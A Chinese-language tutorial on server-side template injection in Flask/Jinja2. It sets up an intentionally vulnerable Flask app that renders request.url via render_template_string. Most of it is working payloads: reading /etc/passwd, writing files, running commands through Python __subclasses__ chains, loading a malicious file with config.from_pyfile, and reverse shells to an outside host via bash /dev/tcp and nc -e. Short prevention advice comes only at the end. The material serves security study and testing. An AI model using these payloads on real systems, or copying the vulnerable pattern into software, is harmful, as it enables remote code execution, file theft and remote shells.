[toc]
模板注入与常见Web注入 就注入类型的漏洞来说,常见 Web 注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。注入漏洞的实质是服务端接受了用户的输入,未过滤或过滤不严谨执行了拼接的用户输入的代码,因此造成了各类注入。 服务端模板注入和常见Web注入的成因一样,也是服务端接收了用户的输入,将未过滤的数据传给引擎解析,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。 其影响范围主要取决于模版引擎的复杂性。 通常测试模块类型的方式如下图: 这里的绿线表示结果成功返回,红线反之。有些时候,同一个可执行的 payload 会在不同引擎中返回不同的结果,比方说{{7*'7'}}
会在 Twig 中返回49,而在 Jinja2 中则是7777777。
Flask/Jinja2 模板注入 前置知识 flask模板字符串非公共文件扩展名默认情况下是不启用自动转义功能的。虽然说是flask的自动转义,其实flask内部调用的还是jinja,所以就是jinja的自动转义功能。flask调用jinja时的Environment函数,默认启动自动转义的文件名后缀为('.html', '.htm', '.xml', '.xhtml')
jinja的html转义有两种,自动转义和手工转义。手动转义:转义通过用管道传递到过滤器 e
来实现: {{ user.usernamee }}
。自动转义就是调用Environment函数时指定autoescape参数(一般是一个函数,输入值为模板名,输出为布尔值,判断后缀返回True和Flase来指定是否开启)来开启,某些字符不需要转义时使用过滤器safe。或者自动转义扩展在模板中指定是否开启。{% autoescape true %}自动转义在这块文本中是开启的。{% endautoescape %}
环境搭建 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from flask import Flaskfrom flask import requestfrom flask import configfrom flask import render_template_stringapp = Flask(__name__) app.config['SECRET_KEY' ] = "flag{SSTI_123456}" @app.route('/' ) def hello_world (): return 'Hello World!' @app.errorhandler(404 ) def page_not_found (e ): template = ''' {%% block body %%} <div class="center-content error"> <h1>Oops! That page doesn't exist.</h1> <h3>%s</h3> </div> {%% endblock %%} ''' % (request.url) return render_template_string(template), 404 if __name__ == '__main__' : app.run(host='0.0.0.0' )
这段代码没有从模板文件而是用 render_template_string() 直接从一个字符串渲染到了html。并且没有对request.url 进行过滤。
检测注入 1 2 3 4 5 http://192.168.86.128:5000/%7B%7B7*'7'%7D%7D #http://192.168.86.128:5000/{{7*'7'}} Oops! That page doesn't exist. http://192.168.86.128:5000/7777777
可以看到存在注入
导出所有config变量 config是Flask模版中的一个全局对象,它代表”当前配置对象(flask.config)”,它是一个类字典的对象,它包含了所有应用程序的配置值。在大多数情况下,它包含了比如数据库链接字符串,连接到第三方的凭证,SECRET_KEY等敏感值。
文件读写 获取object对象的所有子类引用列表 python3 python2 python3和python2还是有很多的不同,python3需要自己fuzz一下,我这边python3每次运行flask,object子类的位置都会改变,不知道是什么原因,可能是python3的特性。 我对payload{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
中的[40]fuzz的结果。 python2的payload
1 2 3 4 {{ '' .__class__.__mro__[2 ].__subclasses__()[40 ]('/etc/passwd' ).read() }} {{ '' .__class__.__mro__[2 ].__subclasses__()[40 ]('/tmp/evilconfig.cfg' , 'w' ).write('test' ) }}
执行命令 1 2 3 4 5 6 7 8 '' .__class__.__mro__[2 ].__subclasses__()[59 ].__init__.__globals__.__builtins__下有eval ,__import__ 等的全局函数,可以利用此来执行命令: '' .__class__.__mro__[2 ].__subclasses__()[59 ].__init__.__globals__['__builtins__' ]['eval' ]("__import__('os').popen('id').read()" )'' .__class__.__mro__[2 ].__subclasses__()[59 ].__init__.__globals__.__builtins__.eval ("__import__('os').popen('id').read()" )'' .__class__.__mro__[2 ].__subclasses__()[59 ].__init__.__globals__.__builtins__.__import__ ('os' ).popen('id' ).read()'' .__class__.__mro__[2 ].__subclasses__()[59 ].__init__.__globals__['__builtins__' ]['__import__' ]('os' ).popen('id' ).read()
反弹shell 直接执行系统命令 1 2 '' .__class__.__mro__[2 ].__subclasses__()[59 ].__init__.__globals__['__builtins__' ]['eval' ]("__import__('os').popen('bash -i >& /dev/tcp/192.168.86.131/8080 0>&1').read()" )'' .__class__.__mro__[2 ].__subclasses__()[59 ].__init__.__globals__['__builtins__' ]['__import__' ]('os' ).popen('bash -i >& /dev/tcp/192.168.86.131/8080 0>&1' ).read()
加载自定义模块 写入文件
1 2 3 4 5 payload1: {{ '' .__class__.__mro__[2 ].__subclasses__()[40 ]('/tmp/evil' , 'w' ).write('from os import system%0aCMD = system' ) }} payload2: {{ '' .__class__.__mro__[2 ].__subclasses__()[40 ]('/tmp/evil' , 'w' ).write('from subprocess import check_output%0aRUNCMD=check_output' ) }}
利用 config.from_pyfile 加载文件
1 {{ config.from_pyfile('/tmp/evil' ) }}
反弹shell
1 2 {{ config['RUNCMD' ]('bash -i >& /dev/tcp/192.168.86.131/8080 0>&1' ) }} {{ config['CMD' ]('nc 192.168.86.131 8080 -e /bin/sh' ) }}
python3 payload 1 2 3 4 5 6 7 8 9 10 11 12 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__' ].eval ("__import__('os').popen('id').read()" ) }}{% endif %}{% endfor %} {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__' ].open ('filename' , 'r' ).read() }}{% endif %}{% endfor %} ().__class__.__bases__[0 ].__subclasses__()[-4 ].__init__.__globals__['system' ]('ls' ) ().__class__.__bases__[0 ].__subclasses__()[93 ].__init__.__globals__["sys" ].modules["os" ].system("ls" ) '' .__class__.__mro__[1 ].__subclasses__()[104 ].__init__.__globals__["sys" ].modules["os" ].system("ls" )[].__class__.__base__.__subclasses__()[127 ].__init__.__globals__['system' ]('ls' )
模板注入的检测 同常规的 SQL 注入检测,XSS 检测一样,模板注入漏洞的检测也是向传递的参数中承载特定 Payload 并根据返回的内容来进行判断的。每一个模板引擎都有着自己的语法,Payload 的构造需要针对各类模板引擎制定其不同的扫描规则,就如同 SQL 注入中有着不同的数据库类型一样。 简单来说,就是更改请求参数使之承载含有模板引擎语法的 Payload,通过页面渲染返回的内容检测承载的 Payload 是否有得到编译解析,有解析则可以判定含有 Payload 对应模板引擎注入,否则不存在 SSTI。
模板注入的防范
将模板内容写入固定文件夹,与视图代码分离
对用户输入到模板解析的数据做好过滤和转义
最好把模板和参数分离
Flask/Jinja2模板注入中的一些绕过姿势 https://p0sec.net/index.php/archives/120/
Referer FlaskJinja2 开发中遇到的的服务端注入问题研究 II Python Flask/Jinja 模板注入 服务端模板注入攻击 服务端模板注入攻击 (SSTI)之浅析